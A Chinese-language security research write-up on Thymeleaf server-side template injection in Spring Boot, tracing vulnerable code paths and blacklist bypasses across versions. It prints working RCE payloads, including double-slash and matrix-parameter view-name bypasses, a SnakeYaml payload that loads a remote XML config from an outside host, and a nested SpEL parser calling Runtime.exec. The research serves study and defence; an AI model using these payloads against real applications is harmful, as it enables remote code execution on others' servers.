Thymeleaf
和其他模板注入不太相同,thymeleaf模板注入的漏洞点在模板名可控,插入恶意payload,执行SpEL表达式。
官方文档👉https://www.thymeleaf.org/doc/tutorials/3.1/usingthymeleaf.html
由文档可知,在SpringMVC下,thymeleaf中的表达式最终会被转化为SpEL表达式。
尝试直接执行恶意的SpEL表达式
会报错
org.springframework.expression.spel.SpelEvaluationException: EL1006E: Function 'T' could not be found
还记得SpEL表达式执行的修复中提到使用SimpleEvaluationContext
来代替StandardEvaluationContext
吗?前者旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java 类型引用,构造函数和 bean 引用。同样thymeleaf也实现了自己的EvaluationContext
———— ThymeleafEvaluationContext
,同样也把这些语法特性阉割了。
大乌龙,SpEL表达式中用#T
来引用类,但thymeleaf
中直接T
来引用。
把#
去掉,低版本可以打通。高版本设置了黑名单,下文介绍绕过。
和其他模板引擎一样,thymeleaf也提供了一些全局上下文变量,用#
来引用。
#ctx
: the context object. An implementation oforg.thymeleaf.context.IContext
ororg.thymeleaf.context.IWebContext
depending on our environment (standalone or web).
#root
:org.thymeleaf.spring5.expression.SPELContextMapWrapper
#request
:(仅在 Web 上下文中)HttpServletRequest
对象。
#response
:(仅在 Web 上下文中)HttpServletResponse
对象。
#session
:(仅在 Web 上下文中)HttpSession
对象。
#servletContext
:(仅在 Web 上下文中)ServletContext
对象。最新版本:
The 'request','session','servletContext' and 'response' expression utility objects are no longer available by default for template expressions and their use is not recommended. In cases where they are really needed, they should be manually added as context variables.
也就是只能用#ctx和#root了
Reproduce
SpringBoot
2.0.0.RELEASE =>thymeleaf-spring5
3.0.9
SpringBoot
2.2.0.RELEASE =>thymeleaf-spring5
3.0.11
POC:
漏洞点在org.thymeleaf.spring5.view.ThymeleafView#renderFragment
renderFragment
用于解析片段
当viewTemplateName
含有::
,viewTemplateName
会被拼接上~{}
作为片段表达式
片段表达式为Thymeleaf 3.x新增的内容
分段片段表达式是⼀种表示标记⽚段并将其移动到模板周围的简单⽅法。
正是由于这些表达式,⽚段可以被复制,或者作为参数传递给其他模板等等
在一个文件中定义的fragment(
banner.html
)可以在其他文件中引用
进到StandardExpressionPreprocessor#preprocess
正则提取__(.*?)__
,即提取__xx__
中间的xx
内容,封装成一个expression
并执行execute
方法,执行了SpEL表达式
此外,下面这种情况也能触发漏洞
之前提到DispatcherServlet#doDispatch
会尝试获取ModelAndView
,视图名就是由Controller
的返回值得到的,但这里返回为空,造成DispatcherServlet
获取到的ModelAndView
也为空
applyDefaultViewName
会尝试将路径名作为视图名
transformPath
会把请求路径进行如下处理
去除开头结尾的SLASH
/
去除文件扩展名(即去除最后的
.
及后面的内容)
POC:
transformPath
会去掉文件扩展名,因此POC以a.b
结尾
ByPass
在3.0.12
版本,thymeleaf
增加了一个工具类SpringStandardExpressionUtils
containsSpELInstantiationOrStatic
顾名思义,对实例化和静态方法的调用作了检测
限制了如下:
不能有
new
关键字(
左边的字符不能是T
可以用空白符绕过:
此外还有另外一个函数的限制,请求路径不能和返回的视图名一样
像下面这种路由就受到了限制
这里是通过request.getRequestURI()
获取路径的
两种绕过方式:
双写斜杠
home//__%24%7BT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__%3A%3A.x
;
传递矩阵参数home;/__%24%7BT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__%3A%3A.x
高版本的修复
会往(
左边一直找T
,跳过空白符
下面以3.1.2.RELEASE为例
checkViewNameNotInRequest
做了升级,判断视图名是否含有来自用户的表达式
即判断请求路径和请求查询参数是否含有和视图名相同的表达式
判断表达式的逻辑如下
即看$
、*
、#
、@
、~
这些字符后面是否跟着{
,略过中间的空白字符
通过URL或参数传模板表达式似乎绕不过了。
看看new
的检测
检测是从字符串后往前检测的,若碰到w且w前面是空白符,就会开始逐一检测字符wen(new
倒过来)
表达式引擎对new
解析时,会跳过点号
贴个POC:🐂🍺
Sandbox Escape
上文无关,这才更像平时接触到的SSTI,通过控制模板本身的内容来造成RCE
最早的版本没有黑名单限制,直接打
高版本中设置了黑名单,上面的payload会报错
Access is forbidden for type 'java.lang.Runtime' in Thymeleaf expressions. Blacklisted classes are:...
下面以3.1.1.RELEASE为例,更低的版本黑名单措施会更少。
3.1.1 spring框架反射工具类绕过
该版本的黑名单包括两层:
类型引用的黑名单
成员调用的黑名单
下面是类型引用的限制
ThymeleafEvaluationContext$ThymeleafEvaluationContextACLTypeLocator#findType
=>ExpressionUtils#isTypeAllowed
首先判断包名是否被禁用,没被禁用直接通过
若包名被禁了,再判断该类是否在白名单内
isPackageBlockedForTypeReference
看得出来这里禁用的包名只可能以c
、n
、j
、o
开头
isPackageBlockedForAllPurposes
看得出来这里禁用的包名只可能以c
、j
、o
、s
开头
com.sun
和java
下的类都被禁了。(扣掉java.time
)
下面是成员调用的限制
对象和类分别判断:
对象可以调用
getClass
和toString
若类在黑名单中只能调用静态方法
getName
显然若调用的是静态方法,若类在黑名单内且调用的不是getName
,就会走到isMemberAllowedForInstanceOfType
进行判断
之前在讲enjoy模板的时候也碰到了黑名单的绕过,那时候通过spring框架自带的工具类来调用清空黑名单的方法,通过反射来绕过黑名单对类名和方法名的检测。
这里也可以利用这些工具类来调用恶意方法。
之前的enjoy模板明确禁用了方法名forName
,通过URLClassLoader.getSystemClassLoader()
拿到ClassLoader
,再loadClass
来获取Class
对象。这里可以用ClassUtils#forName
org.springframework.util.ClassUtils#forName
获取任意 class 对象
org.springframework.util.ReflectionUtils#findMethod
获取任意 Method 对象
org.springframework.util.ReflectionUtils#invokeMethod
调用任意 Method 对象
另外Thymeleaf中可以使用th:with
进行指定局部变量
3.1.2 应用上下文调用IOC方法
3.1.2.RELEASE(目前最新)在黑名单中新增了更多了org.springframework
下的包
其中就包括org.springframework.util
wh1t3Pig师傅找到了一些其他public方法可利用的类
见👉https://blog.0kami.cn/blog/2024/thymeleaf%20ssti%203.1.2%20%E9%BB%91%E5%90%8D%E5%8D%95%E7%BB%95%E8%BF%87
类加载器由org.springframework.instrument.classloading.ShadowingClassLoader#getSystemClassLoader
获取
远程加载配置造成SpEL:
js表达式执行:
此外对于成员调用又多了如下限制:
不能是这些类或者其子类,注意到有一个RequestContext
类
之前说到org.springframework.web.servlet.support.RequestContext
可以用来获取WebApplicationContext
即Web应用上下文
org.thymeleaf.spring5.view.ThymeleafView#render => renderFragment
addRequestContextAsVariable
把requestContext
注册到了Model里,也就是模板里能直接用。
[[${springMacroRequestContext.webApplicationContext}]]
[[${springRequestContext.webApplicationContext}]]
[[]]
是thymeleaf的行内表达式语法
[[]]
会对html进行转义、[()]
不会若有些WAF过滤了尖括号,可以使用
[[]]
我们知道Spring的IOC机制底层是反射+工厂模式,因此获取到应用上下文(WebApplicationContext)后,就相当于控制了整个IOC容器。
AnnotationConfigServletWebServerApplicationContext
这个应用上下文对象有两个有意思的属性(实际上模板解析时会转换为getter的调用,如getBeanFactory
)
beanFactory
(DefaultListableBeanFactory
)classLoader
DefaultListableBeanFactory
其父类AbstractAutowireCapableBeanFactory
有个createBean
方法
拿到ClassLoader
就可以加载任意类了,配合beanFactory
来创建类示例,就能调用恶意方法了。
但是由于黑名单仍然限制调用调用方法的目标对象,因此还是不能用Runtime
之类的java
包下的类
SpringBoot
自带了snakeYaml
,应该是用来解析application.yaml
这个格式的配置文件的。
SnakeYaml
打snakeYaml初始化ClassPathXmlApplicationContext
,远程加载配置,造成SpEl执行
[[${springRequestContext.webApplicationContext.beanFactory.createBean(springRequestContext.webApplicationContext.classLoader.loadClass("org.yaml.snakeyaml.Yaml")).load('!!org.springframework.context.support.ClassPathXmlApplicationContext ["http://127.0.0.1:8099/poc.xml"]')}]]
SpEl
禁了javax
包,不能用javax.script.ScriptEngineManager
去执行js表达式了。
但是Spring有自己的表达式语言呀!org.springframework.expression.spel.standard.SpelExpressionParser
[[${springRequestContext.webApplicationContext.beanFactory.createBean(springRequestContext.webApplicationContext.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser")).parseExpression('T(java.lang.Runtime).getRuntime().exec("calc")').getValue()}]]
注意上面的BLOCKED_TYPE_REFERENCE_PACKAGE_NAME_PREFIXES
黑名单里虽然有org.springframework.expression.
,但这个黑名单只是限制了T
去引用这个包下的类,而在成员访问的黑名单中并没有对expression
的限制。
jacksonObjectMapper
网上看到之前UIUCTF一道Pebble SSTI的文章,👉https://blog.arkark.dev/2022/08/01/uiuctf
里面用到了Spring的IOC容器内置Bean来加载和实例化类
com.fasterxml.jackson.databind.ObjectMapper
T readValue(String content, Class<T> valueType)
用来反序列化json字符串,得到指定类的对象。
ObjectMapper
有个TypeFactory
属性,用来创建实例的,其findClass
方法可以用来获取Class对象
RequestContext绕过
上面的payload在3.1.2.RELEASE
版本是打不了的,因为是通过springMacroRequestContext
获取的应用上下文
而RequestContext
被禁止调用其成员。
实际上thymeleaf
提供的上下文对象#ctx
里也存储有应用上下文对象,#ctx
的内容是以键值对Map的形式存储,可以用中括号+键名的方式访问
模板设置为[[${#ctx}]]
,返回的内容搜一下AnnotationConfigServletWebServerApplicationContext
#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT']
或
#ctx['org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE']
就能直接拿到应用上下文了
上面的payload把springRequestContext.webApplicationContext
换成这两个就可以了。
Ref
https://github.com/veracode-research/spring-view-manipulation
https://xz.aliyun.com/t/10514
https://github.com/p1n93r/SpringBootAdmin-thymeleaf-SSTI
https://blog.0kami.cn/blog/2024/thymeleaf%20ssti%203.1.2%20%E9%BB%91%E5%90%8D%E5%8D%95%E7%BB%95%E8%BF%87/
https://blog.arkark.dev/2022/08/01/uiuctf
https://www.bilibili.com/video/BV1t7421K7rB
Last updated